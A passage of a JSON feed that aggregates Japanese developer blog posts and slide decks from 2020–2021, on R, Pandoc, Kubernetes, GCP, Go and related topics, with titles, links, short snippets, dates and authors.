ドメイン駆動設計と依存性逆転の原則","link":"https://speakerdeck.com/hiroki_hasegawa/domeinqu-dong-she-ji-toyi-cun-xing-ni-zhuan-falseyuan-ze","contentSnippet":"社内LTにて、ドメイン駆動設計と依存性逆転の原則を布教しましたʕ◔ϖ◔ʔ\\r\\rはてなブックマークのコメントもどうぞ!\\r\\rなお、ドメイン駆動設計を理解するためには、依存についても知る必要があります。\\r\\r是非、依存関係と依存オブジェクト注入もご参照ください\uD83D\uDC4D\uD83C\uDFFB","isoDate":"2021-08-06T04:00:00.000Z","dateMiliSeconds":1628222400000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"シェルでエイリアスを無視してコマンドを見つける","link":"https://blog.atusy.net/2021/07/14/shell-find-command/","contentSnippet":"CMD=\\"foo\\"echo \\"$( unalias $CMD &> /dev/null command -v $CMD)\\"でいい。詳細POSIXにはcommandコマンドがあり、引数をコマンドとして実行してくれます。command git config --get user.name#> atusyaliasを無視してくれる点が魅力ですね。","isoDate":"2021-07-14T00:00:00.000Z","dateMiliSeconds":1626220800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについて","link":"https://zenn.dev/nnaka2992/articles/1fa7fb5d03f958","contentSnippet":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについてTable of ContentsOracleインストール中にでたSysctl系エラーであたったkernel parameterについてMotivationそもそもsysctlとは何なのか?Oracleセットアップ中に遭遇したkernel parameterssemopm変更方法セマフォ(semaphore)とは?SEMSMLSEMMNSSEMOPMSEMMNIfile-max変更方法rem_default/rem_max/...","isoDate":"2021-07-11T08:41:03.000Z","dateMiliSeconds":1625992863000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitHub CLI(`gh`)に曖昧検索の力を加えるghfコマンドを作ってzshプラグイン化した","link":"https://blog.atusy.net/2021/07/10/publish-gh-fzf/","contentSnippet":"端末上でレポジトリやissueを曖昧検索して内容をプレビューし、確定したらブラウザで開くなどの操作ができるghfコマンドを作りました。詳しい利用方法やインストール方法は→https://github.com/atusy/gh-fzf。zshプラグイン化しているのでzinitなどのユーザーは導入しやすいと思います。","isoDate":"2021-07-10T00:00:00.000Z","dateMiliSeconds":1625875200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tidymodelsのrecipesパッケージがworkflowsパッケージの使用を推奨し始めた","link":"https://blog.atusy.net/2021/07/01/tidymodels/","contentSnippet":"tidymodelsを使ったモデリングにおいて、recipesパッケージは特徴量エンジニアリングを担います。従来、recipesパッケージは単体で、特徴量抽エンジニアリング方法の","isoDate":"2021-07-01T00:00:00.000Z","dateMiliSeconds":1625097600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocでは--include-in-header引数とheader-includes変数は共存できない","link":"https://blog.atusy.net/2021/06/30/pandoc-header-includes/","contentSnippet":"ちょっとハマった。Pandocでマークダウンファイルを変換する場合、YAMLフロントマターの設定と引数を用いた設定では、引数が優先権を持つ。で、HTMLファイルのhead要素内に記述を追加する場合は","isoDate":"2021-06-30T00:00:00.000Z","dateMiliSeconds":1625011200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83E\uDD1D\uD83C\uDFFB 依存関係と依存オブジェクト注入","link":"https://speakerdeck.com/hiroki_hasegawa/yi-cun-guan-xi-toyi-cun-obuziekutozhu-ru","contentSnippet":"社内LTにて、依存関係と依存オブジェクト注入を布教しようと試みましたʕ◔ϖ◔ʔ\\r\\r関連テーマ(ドメイン駆動設計と依存性逆転の原則):\\rhttps://speakerdeck.com/hiroki_hasegawa/domeinqu-dong-she-ji-toyi-cun-xing-ni-zhuan-falseyuan-ze","isoDate":"2021-06-25T04:00:00.000Z","dateMiliSeconds":1624593600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Tidymodelsでデータの前処理内容を**tidy**に確認する(公式手順)","link":"https://blog.atusy.net/2021/06/23/tidy-inspect-tidymodels-preprocessing/","contentSnippet":"昨日の投稿で、tidymodelsのrecipesパッケージによる特徴量エンジニアリングを行った歳に、中心化につかった平均値はいくつかPCAの固有ベクトルはなにかをnot tidyに確認する方法を紹介しました。後から気付いたのですが、recipesパッケージはbroom::tidy関数を使って確認する方法を提供しています。tidyじゃ何をtidyにするかわからんし、もうちょい良い名前をつけて欲しいですね。さておき、試してみましょう。","isoDate":"2021-06-23T00:00:00.000Z","dateMiliSeconds":1624406400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tidymodelsでデータの前処理内容を確認する","link":"https://blog.atusy.net/2021/06/22/inspect-tidymodels-preprocessing/","contentSnippet":"tidymodelsはRにおける統計モデリングや機械学習を便利にするためのフレームワークです。tidymodelsを利用するとパイプ演算子による処理の流れが明瞭なモデリングパッケージごとに異なる学習・予測インターフェースの統一といったメリットを享受でき、徐々にはやってきている印象です。","isoDate":"2021-06-22T00:00:00.000Z","dateMiliSeconds":1624320000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"HTML+CSSでaとかcodeとかの前後に空白を入れつつ、段落の左端を揃える","link":"https://blog.atusy.net/2021/06/21/css-inline-pseudo-margins/","contentSnippet":"p a.normal::before,p a.normal::after { content: none;}日本語の場合、単語の間にスペースを入れないため、リンクやコードと平文が地続きになりがちです。ちょっと空白を入れたい時は以下のようなCSSが活躍します。リンクを例にとってみましょう。p a::before,p a::after { content: \\" \\"; font-size: 0; word-spacing: 1rem;}リンクの前後に余白ではなく空白(半角スペース)を使うところがミソです。また、ここではあえて大袈裟に1remの空白を入れて、以下の例でわかりやすくしています。","isoDate":"2021-06-21T00:00:00.000Z","dateMiliSeconds":1624233600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Open Telemetry + Google Cloud Trace やってみた","link":"https://zenn.dev/satohjohn/articles/e37e8575966204","contentSnippet":"モチベーションGoogle Cloud Trace(以下Cloud Trace)がOpen Telemetryの対応をしているということで、更にドキュメントにはないけど(2021-06-14現在)Javaでもライブラリができたので、それを試してみる。分散トレーシングしたいって言う場合、GKEで組んでいる場合、Cloud Traceのライブラリを使って直接送るっていうのもありだが、Open Telemetryを使うことで、他のツールにも送れるような仕組みができる。 前提分散トレーシングについて知っているNuxt.jsについて少し知っている Open Telemetr...","isoDate":"2021-06-14T05:35:09.000Z","dateMiliSeconds":1623648909000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"denops.vimを使って引用符と括弧を操作するVimのプラグインを書いた","link":"https://zenn.dev/tayusa/articles/58d1c20172f662","contentSnippet":"はじめにかねてから、Denoを触ってみたいけど肝心の作るものがないなと思っていました。そんな矢先にたまたまdenops.vimとの邂逅を果たしたので、昔作ったプラグインを書き直してみました。denops.vimについてはhttps://github.com/vim-denops/denops.vimhttps://zenn.dev/lambdalisue/articles/b4a31fba0b1ce95104c9 作ったものhttps://github.com/atsuya0/dps-surrounding.vim題目のとおり、引用符と括弧を操作するvimのプラグイ...","isoDate":"2021-06-13T15:41:53.000Z","dateMiliSeconds":1623598913000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Kustomize でスラッシュを含むパスにパッチを当てる","link":"https://zenn.dev/toshikish/articles/38896bb9ae1913","contentSnippet":"背景Kustomize では JSON Patch を用いて base のマニフェストにパッチを当てることができます。例えば,以下のマニフェストdeployment.yamlapiVersion: apps/v1kind: Deploymentmetadata: labels: app.kubernetes.io/name: myapp app.kubernetes.io/version: v1.0.0 name: myapp version: v1.0.0...の version の値を v1.0.1 に変えたい場合は,以下の...","isoDate":"2021-05-31T07:34:24.000Z","dateMiliSeconds":1622446464000,"authorName":"toshikish","authorId":"toshikish"},{"title":"\uD83D\uDC2D Goに入門しよう","link":"https://speakerdeck.com/hiroki_hasegawa/goniru-men-siyou","contentSnippet":"社内LTにて、Goを布教しようと試みましたʕ◔ϖ◔ʔ","isoDate":"2021-05-27T04:00:00.000Z","dateMiliSeconds":1622088000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"PandocでWord出力する時にヘッダーやフッターの内容を動的に変更する","link":"https://blog.atusy.net/2021/05/23/pandoc-word-dynamic-header-and-footer/","contentSnippet":"Pandocで出力するdocxファイルに好みの書式設定などを反映するには、スタイルを設定済みのdocxファイルを用意しておき、そのファイルのパスを--reference-docオプションに指定します(以下リファレンスファイル)。スタイルのカスタマイズや作成方法は以下を参考にしてください。","isoDate":"2021-05-23T00:00:00.000Z","dateMiliSeconds":1621728000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"♾️ SREに入門しよう","link":"https://speakerdeck.com/hiroki_hasegawa/sreniru-men-siyou","contentSnippet":"社内LTにて、SRE用語を布教しようと試みましたʕ◔ϖ◔ʔ","isoDate":"2021-05-07T04:00:00.000Z","dateMiliSeconds":1620360000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Rustの練習","link":"https://zenn.dev/satohjohn/articles/536589f3a86600","contentSnippet":"概要完全に参照の部分に慣れていないので、これをどうやって対応したのかを自分の整理のためにもメモしていくexerismでRustの勉強をしているが、その問題を使う Simple Linked List全容: https://exercism.io/tracks/rust/exercises/simple-linked-list/solutions/d0fdfb1c904344ecbf4bcf808c345cdc以下のような構造ときので後入れ先出しのパターンの場合pub struct SimpleLinkedList { head: Option&...","isoDate":"2021-05-01T14:15:59.000Z","dateMiliSeconds":1619878559000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"minidown 0.1.0をリリース","link":"https://blog.atusy.net/2021/04/04/minidown-0-1-0/","contentSnippet":"minidown 0.1.0をCRANにリリース。タブセット機能の追加、サイドバーに目次を表示した時のレイアウト改善などが主な変更です。","isoDate":"2021-04-04T00:00:00.000Z","dateMiliSeconds":1617494400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ftExtra 0.2.0をリリース!","link":"https://blog.atusy.net/2021/03/29/ftextra-0-2-0/","contentSnippet":"脚注、引用文献、段落の扱いを改善しつつ、処理速度も大幅改善","isoDate":"2021-03-29T00:00:00.000Z","dateMiliSeconds":1616976000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83D\uDC2D Lambda関数をGoで実装してみた話","link":"https://speakerdeck.com/hiroki_hasegawa/lambdaguan-shu-wogodeshi-zhuang-sitemitahua","contentSnippet":"社内LTにて、Goを布教しようと試みましたʕ◔ϖ◔ʔ","isoDate":"2021-03-26T04:00:00.000Z","dateMiliSeconds":1616731200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Tokyo.R 90でRStudio PBCに転職しようとした時の話をした","link":"https://blog.atusy.net/2021/03/11/tokyor90/","contentSnippet":"Tokyo.R 90でもBoothの頒布物でも語っていない裏話。","isoDate":"2021-03-11T00:00:00.000Z","dateMiliSeconds":1615420800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"dplyr 1.0.4で複数列を対象としたfilterが簡単になった","link":"https://blog.atusy.net/2021/02/03/dplyr-1-0-4/","contentSnippet":"dplyr 1.0.0から導入されたacross関数は、mutate関数やsummarize関数を複数列に簡単に適用できる便利な道具です。*_atや*_ifといった関数を過去のものにした他、group_byでも使えるなど、使いどころは多いです。","isoDate":"2021-02-03T00:00:00.000Z","dateMiliSeconds":1612310400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R MarkdownでBootstrap 4を使えるようになった","link":"https://blog.atusy.net/2021/01/21/rmd-bs4/","contentSnippet":"GitHub版のrmarkdownパッケージのhtml_document関数がBootstrap 4に対応しました。本記事ではどんなことができるのか紹介します。が、同じ内容をhtml_documentでBootstrap 4を使ってレンダリングしてみたので、そちらを参考にして下さい。","isoDate":"2021-01-21T00:00:00.000Z","dateMiliSeconds":1611187200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS ソリューションアーキテクト アソシエート合格までのまとめ","link":"https://qiita.com/dirtymosschan/items/da3eebdf6b7be9c3eb67","contentSnippet":"#目次#0. はじめに先日、AWS ソリューションアーキテクト アソシエート に合格したので、忘れないうちに色々とアウトプットしておこうと思います。これから受験を考えている方の役にたてればと思い…","isoDate":"2021-01-19T13:11:47.000Z","dateMiliSeconds":1611061907000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"minidownで目次をハイライトできるようにした","link":"https://blog.atusy.net/2021/01/14/minidown-toc-highlight/","contentSnippet":"minidown::mini_documentはrmarkdown::html_documentを軽量化しつつ同等以上の機能提供を目指すR Markdown用HTMLフォーマットです。","isoDate":"2021-01-14T00:00:00.000Z","dateMiliSeconds":1610582400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"blogdownで記事のテンプレートを用意する","link":"https://blog.atusy.net/2020/12/25/blogdown-archettype/","contentSnippet":"blogdownではR Markdownを使ったウェブサイトの作成ができます。名前の通り、ブログを念頭に置いたパッケージです。ドキュメントは以下にあります。ググると日本語の記事もそれなりに出てきます。","isoDate":"2020-12-25T00:00:00.000Z","dateMiliSeconds":1608854400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocで出力形式に依存せず見出し番号をつけたり、第1章とか第1.1節とか装飾したい","link":"https://blog.atusy.net/2020/12/24/decorate-section-numbers-on-any-format-with-pandoc/","contentSnippet":"昨日はHTML出力の場合に限って、見出し番号の装飾方法を紹介しました。PandocでHTML出力時に見出し番号を第1章とか第1.1節とかしたいただ、昨日の段階ではどの方法も一長一短だったので、今日は任意の出力に対応するLuaフィルタを用意しました。","isoDate":"2020-12-24T00:00:00.000Z","dateMiliSeconds":1608768000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocでHTML出力時に見出し番号を第1章とか第1.1節とかしたい","link":"https://blog.atusy.net/2020/12/23/decorate-section-numbers-on-pandoc/","contentSnippet":"Pandoc単体では見出し番号を装飾してくれません。HTML出力の場合、Luaフィルタ、CSS、JavaScriptと3つほど選択肢があるので、それぞれの方法とメリット・デメリットを紹介します。","isoDate":"2020-12-23T00:00:00.000Z","dateMiliSeconds":1608681600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GCP の Identity Aware-Proxy を使って SSH した話","link":"https://qiita.com/dirtymosschan/items/fd11001daa68d7c8d943","contentSnippet":"#Cloud Identity Aware-Proxy とは?一言で表すと、Google のアカウントを使ってセキュアにリソースに接続できるプロキシサービスです。###何ができる?GCP 上の…","isoDate":"2020-12-22T11:20:18.000Z","dateMiliSeconds":1608636018000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"gRPC-WebとGoとVue.jsで簡素なチャット","link":"https://qiita.com/atsuya0/items/f994ca9d820d307daffd","contentSnippet":"はじめに何だか良くわからないけどよく聞くgRPC-Webなるものを触りだけでも理解すべく辛うじてチャット呼べそうなものを作ってみました。概要gRPCとはhttps://grpc.io/Pr…","isoDate":"2020-12-17T17:06:43.000Z","dateMiliSeconds":1608224803000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"VolumePlugin がボリュームを作成・マウントするしくみ","link":"https://qiita.com/kyohmizu/items/40bee7037e1ce7949772","contentSnippet":"はじめにPod の作成時、pod.spec.volumes に記述したボリュームがコンテナにマウントされます。マウントされる Node 側のボリュームを、VolumePlugin がどのように作…","isoDate":"2020-12-17T10:54:47.000Z","dateMiliSeconds":1608202487000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Tidymodelsで使えるモデルの紹介とモデルの追加方法","link":"https://blog.atusy.net/2020/12/13/add-parsnip-model/","contentSnippet":"Tidymodelsが標準で提供するモデルと追加で提供するモデルについて軽く紹介し、更に自前でモデルを組んでみます。Rアドベントカレンダー、12/14の記事です。","isoDate":"2020-12-13T00:00:00.000Z","dateMiliSeconds":1607817600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Sidekiqのジョブをパフォーマンスを考えて削除する","link":"https://qiita.com/atsuya0/items/30d6259766a9a0d5103d","contentSnippet":"はじめにRailsで処理を何らかの理由で遅延させた場合や非同期に処理を行いたいときに多くの人がActive Jobを使用していると思います。とても便利で良いやつなのですがキューに積んだジョブを削…","isoDate":"2020-12-12T17:37:05.000Z","dateMiliSeconds":1607794625000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"任意のファイルをPNGファイルで隠してみる","link":"https://qiita.com/atsuya0/items/a8ccbc9637c37cdf967e","contentSnippet":"はじめにある日、私はファイルを連結したらどうなるんだろうという好奇心に逆らえず、おもむろに連結して確かめてみることにしました。結果、その連結したファイルは普通にファイルとして使えることがわかりま…","isoDate":"2020-12-12T14:56:30.000Z","dateMiliSeconds":1607784990000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Luaフィルタがアツイ2020","link":"https://blog.atusy.net/2020/12/07/lua-filter-is-hot/","contentSnippet":"Pandoc Advent Calendar 2020の12/7の記事です。多様なドキュメントフォーマット間を変換できるPandocでは、「フィルター」という機能を使って、変換処理に割り込みをかけることができます。","isoDate":"2020-12-07T00:00:00.000Z","dateMiliSeconds":1607299200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":".gcloudignoreの書き方","link":"https://zenn.dev/satohjohn/articles/11df180df878ac","contentSnippet":".gcloudignore の設定が思ったとおりに、いかなかったのでまとめます。.gitignoreと同じらしいですが、そもそもgitで今まで全体をignoreすることはやったことなかったので基本はコチラに書いてあるのですが、わからなかった部分も含みますhttps://cloud.google.com/sdk/gcloud/reference/topic/gcloudignore# 始まりはコメントです 基本の考え ファイル指定以下パターンすべてプロジェクト直下のものが対象になります。否定する場合は ! をつけます。!a.txt というファイルをデプロイ対象にしたい...","isoDate":"2020-11-30T09:57:54.000Z","dateMiliSeconds":1606730274000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"R MarkdownやPandocでMarkdown出力する時に数式をベクター画像化する","link":"https://blog.atusy.net/2020/11/15/pandoc-webtex-svg/","contentSnippet":"--webtex=https://latex.codecogs.com/svg.latex?と指定するとSVG画像化した高品質な数式を得られるよ。","isoDate":"2020-11-15T00:00:00.000Z","dateMiliSeconds":1605398400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R MarkdownやPandocでMarkdown出力する時に数式をPNG画像化する","link":"https://blog.atusy.net/2020/11/08/math-in-markdown/","contentSnippet":"R MarkdownやPandocは数式をレンダリングする方法をいくつか提供しています1。代表的な方法にMathJaxやKaTeXがありますが、これらはJavaScriptで実装されているため、出力形式がマークダウンで、ビューアーがGitHubのような場合、利用できません。","isoDate":"2020-11-08T00:00:00.000Z","dateMiliSeconds":1604793600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"pinsパッケージならリモートファイルをローカルと別のリモートキャッシュできる","link":"https://blog.atusy.net/2020/11/04/pins/","contentSnippet":"さわりのさわりなので、詳しくは公式を参照してね。pins::pin関数を使うと、Web上のリソースをキャッシュできる。デフォルトではローカルにキャッシュする。使い方は簡単で、関数に与えるURLをpins::pin関数でラッピングしておくだけ。","isoDate":"2020-11-04T00:00:00.000Z","dateMiliSeconds":1604448000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"#OsakaR で2回目のもくもく会を開催しました","link":"https://blog.atusy.net/2020/11/02/osakar-mokumoku-2/","contentSnippet":"2020/10/31に開催しました。第1回は2020/6/6だったので、実に4ヶ月ぶり。もう少し頻度をあげたいとろですが、家族や他の勉強会とのバランスを考えると中々難しいところです。今回は私がRStudio PBCのテーブルコンテストに参戦したく、追い込みをかけるために突如企画した、というのが内情だったりします。昨日の記事にした通り、無事投稿しました。せっかくなので徒然と記録や思いを残しておきます。","isoDate":"2020-11-02T00:00:00.000Z","dateMiliSeconds":1604275200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio PBCのテーブルコンテストに投稿しました","link":"https://blog.atusy.net/2020/11/01/rstudio-table-contest/","contentSnippet":"2019年のShinyコンテストに続き、2020年は表コンテストが開催されました(開催案内)。実用的なのからネタなものまで幅広くテーブルを募るもので、投稿期間は9/15から10/31でした。大枠としては、Single Table Example: 面白い構造をした表、便利な機能や特殊な機能を使った表、特定の分野で用いられる表などTutorial: パッケージの機能紹介を通して素敵な表を組む方法をまとめるOtherで、更に表の形式として","isoDate":"2020-11-01T00:00:00.000Z","dateMiliSeconds":1604188800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocでHTML出力する時の数式の扱い","link":"https://blog.atusy.net/2020/10/31/pandoc-math-rendering-engines/","contentSnippet":"基本はMath rendering in HTMLに記載の通り。--mathjaxや--katexはJavaScriptやCSSの読み込みをするだけで数式部分の出力は変わらないと思ってたけど、そうでもなかったのでメモがてら全パターンを試す。","isoDate":"2020-10-31T00:00:00.000Z","dateMiliSeconds":1604102400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ベクトルから要素を除去する方法とsetdiffの罠","link":"https://blog.atusy.net/2020/10/27/remove-elements-from-vector/","contentSnippet":"以下のxからyを除去してみましょう。x <- c(\'banana\', \'banana\', \'apple\', \'grape\')y <- c(\'apple\', \'grape\')%in%演算子を使えばxの要素がyに含まれているか判定できるので、簡単ですね。x[!x %in% y]#> [1] \\"banana\\" \\"banana\\"もっと簡単「そう」な方法に、setdiff関数があります。ただしこいつは中でunique関数をかけている点に注意が必要です。","isoDate":"2020-10-27T00:00:00.000Z","dateMiliSeconds":1603756800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R MarkdownでHTML出力時に見出しのURLを簡単に取得できるようにした","link":"https://blog.atusy.net/2020/10/18/rmd-anchor-sections/","contentSnippet":"このブログでも使えてます。ここにマウスを重ねると#記号が見出しの最後に現れ、クリックするとブラウザのURL覧から見出しのURLを取得できるようにしました(PR #1884)。#記号を右クリックしてメニューからCopy link locationとかしてもOK。","isoDate":"2020-10-18T00:00:00.000Z","dateMiliSeconds":1602979200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Istio の timeout, retry, circuit breaking, etc","link":"https://medium.com/@yteraoka/istio-%E3%81%AE-timeout-retry-circuit-breaking-etc-c170285447e8?source=rss-8b55af126a13------2","isoDate":"2020-10-17T14:52:08.000Z","dateMiliSeconds":1602946328000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"オープンソースソフトウェア開発の貢献に必要なスキルは何かとインタビューされた","link":"https://blog.atusy.net/2020/10/04/contributing-oss/","contentSnippet":"とある筋からオープンソースソフトウェア開発への貢献に必要なスキルセットは何かとインタビューを受けた。氏の研究に必要らしくて受けたが、今日のことをブログにしても構わないとのことだったので、ちょっとメモがてら書き残しておこう。","isoDate":"2020-10-04T00:00:00.000Z","dateMiliSeconds":1601769600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS CDK on Scala ~ Scalaでインフラ管理してみたはなし / Manage infrastructure with AWS CDK on Scala","link":"https://speakerdeck.com/nomadblacky/manage-infrastructure-with-aws-cdk-on-scala","contentSnippet":"https://scala-tokyo.connpass.com/event/187140/","isoDate":"2020-09-25T04:00:00.000Z","dateMiliSeconds":1601006400000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"ggplot2で列の値をそのまま色の値にしつつレジェンドも表示する(`scale_*_identity`関数)","link":"https://blog.atusy.net/2020/09/21/ggplot-scale-identity-with-legend/","contentSnippet":"ggplot2パッケージではscale_*_identityという名前の関数を使うと、審美的属性にマッピングした列の値をそのまま色やサイズ、透明度に反映できます。ただし、デフォルトでは凡例が表示されません。","isoDate":"2020-09-21T00:00:00.000Z","dateMiliSeconds":1600646400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2とplotlyで作成したグラフから凡例を残してデータを非表示にする","link":"https://blog.atusy.net/2020/09/19/ggplotly-legend-visibility/","contentSnippet":"plotlyで作成したグラフは凡例をクリックすると、データの表示・非表示を変更できます。ではデフォルトで一部の凡例を非表示にする方法はあるでしょうか。","isoDate":"2020-09-19T00:00:00.000Z","dateMiliSeconds":1600473600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kubernetes (k8s) 管理者用GUI Lens","link":"https://qiita.com/tozastation/items/804949c69df5d53643c6","contentSnippet":"Lensとはlensapp/lensk8sで動作する全てのリソースをモニタリングしてくれるGUIアプリLinux/Mac/Windowsで動作するこんな感じ(kindで作ったクラスタ見てます)…","isoDate":"2020-09-07T12:53:18.000Z","dateMiliSeconds":1599483198000,"authorName":"tozastation","authorId":"tozastation"},{"title":"パッケージのチェックをR-hubのあらゆるプラットフォームで実行し通す","link":"https://blog.atusy.net/2020/09/07/rhub-test-all-for-cran/","contentSnippet":"結論rhub::check_for_cran(platforms = rhub::platforms()$name)負担かけすぎるのもよくないのでほどほどに。背景からCRANに投稿する際、2つ以上のプラットフォームでパッケージをチェックすることが推奨されている。","isoDate":"2020-09-07T00:00:00.000Z","dateMiliSeconds":1599436800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"UMAPを異常検知の前処理に使う時に、異常データの一部もUMAPに学習させるとよさそう","link":"https://blog.atusy.net/2020/09/02/umap-outlier/","contentSnippet":"UMAPは高次元データを似たもの同士が近くなるように次元縮約してくれる便利な手法だ。t-SNEよりも高速なことに加え、訓練しておいたモデルを新規データに適用できることも魅力。","isoDate":"2020-09-02T00:00:00.000Z","dateMiliSeconds":1599004800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Slinky で Scala.js 製 React Webアプリケーションを つくったはなし / How to build a Scala.js React web application in Slinky","link":"https://speakerdeck.com/nomadblacky/how-to-build-a-scala-dot-js-react-web-application-in-slinky","contentSnippet":"Scala.js 向けの React フレームワークである Slinky でWebアプリケーションを作成したはなし","isoDate":"2020-08-30T04:00:00.000Z","dateMiliSeconds":1598760000000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"ftExtra 0.0.2、0.0.3をリリースしました","link":"https://blog.atusy.net/2020/08/30/ftextra-0-0-3/","contentSnippet":"ftExtra 0.0.3をリリースしました。0.0.2をリリースしたらCRANにSolarisでうまくvignetteをビルドできねえんだけど、なんとかしないとCRANから消すねって言われて、慌てて0.0.3をリリースしました1。ユーザーレベルで認識できる変更は0.0.2のものです。","isoDate":"2020-08-30T00:00:00.000Z","dateMiliSeconds":1598745600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocやR Markdownでマルチカラムレイアウト","link":"https://blog.atusy.net/2020/08/24/pandoc-columns/","contentSnippet":"スライドを筆頭にしばしば2カラム以上のレイアウトなどを利用したくなりますね。R Markdownの場合、revealjsパッケージでマルチカラムを利用する方法が、私を含め複数の人によって提案されてきました。","isoDate":"2020-08-24T00:00:00.000Z","dateMiliSeconds":1598227200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdownとrevealjsとluaフィルタでチャンクやブロック要素をincrementalに表示する","link":"https://blog.atusy.net/2020/08/15/incremental-revealjs/","contentSnippet":"","isoDate":"2020-08-15T00:00:00.000Z","dateMiliSeconds":1597449600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown Cookbookの原稿をレビューをしました","link":"https://blog.atusy.net/2020/08/10/reviewed-rmarkdown-cookbook/","contentSnippet":"待望の「R Markdown Cookbook」が今年出ます。Webからも閲覧可能です(https://bookdown.org/yihui/rmarkdown-cookbook)。私も小ネタの提供やレビューで協力させて頂き、謝辞に載せていただきました。READMEでは2020年8月出版予定となってますが、多分、遅れるんじゃないかな?","isoDate":"2020-08-10T00:00:00.000Z","dateMiliSeconds":1597017600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud SQLへのprivate ip 接続でハマった話","link":"https://qiita.com/SatohJohn/items/e79f363798a6233f9ad2","contentSnippet":"概要Cloud SQL(MySQL)に対してprivate ipを使ってアクセスしたときに、何をチェックしたかをメモするハマったからにはきちんとログを残す現象GCE から Cloud SQL…","isoDate":"2020-08-07T16:53:50.000Z","dateMiliSeconds":1596819230000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"情報処理安全確保支援士の関連資料","link":"https://kyohmizu.hatenablog.com/entry/2020/08/05/115459","contentSnippet":"情報処理安全確保支援士の業務を行う上で、参照すべき資料一覧です。サイバーセキュリティ基本法(平成二十六年法律第百四号)情報処理の促進に関する法律(昭和四十五年法律第九十号)情報処理学会倫理綱領RFC:1087 倫理とインターネット(Ethics and the Internet)セキュリティ対応組織 (SOC,CSIRT)強化に向けたサイバーセキュリティ情報共有の「5W1H」 v2.0 (2019年4月)JPCERT インシデントハンドリングマニュアルIPA 脆弱性対策の効果的な進め方(ツール活用編)情報セキュリティ早期警戒パートナーシップガイドラインIPA 重要なセキュリティ情報一覧IPA 共通脆弱性評価システムCVSS v3概説JVN (Japan Vulnerability Notes)JVN 脆弱性レポートの読み方JVN iPediaFIRST Common Vulnerability Scoring System SIGCWE (Common Weakness Enumeration)IPA 脆弱性体験学習ツール AppGoatMyJVNIPA 組織における内部不正防止ガイドライン地方公共団体における情報セキュリティポリシーに関するガイドライン(平成30年9月版)IPA 委託関係における情報セキュリティ対策ガイドラインIPA 中小企業の情報セキュリティ対策ガイドラインIPA 情報漏えい対策のしおりNISC スマートフォン等の業務利用における情報セキュリティ対策の実施手順作成手引書個人情報の保護に関する法律についてのガイドラインIPA 企業(組織)における最低限の情報セキュリティ対策のしおりスマートフォンのセキュリティ<危険回避>対策のしおりJPCERT/CC 技術メモ - 安全な Web ブラウザの使い方IPA 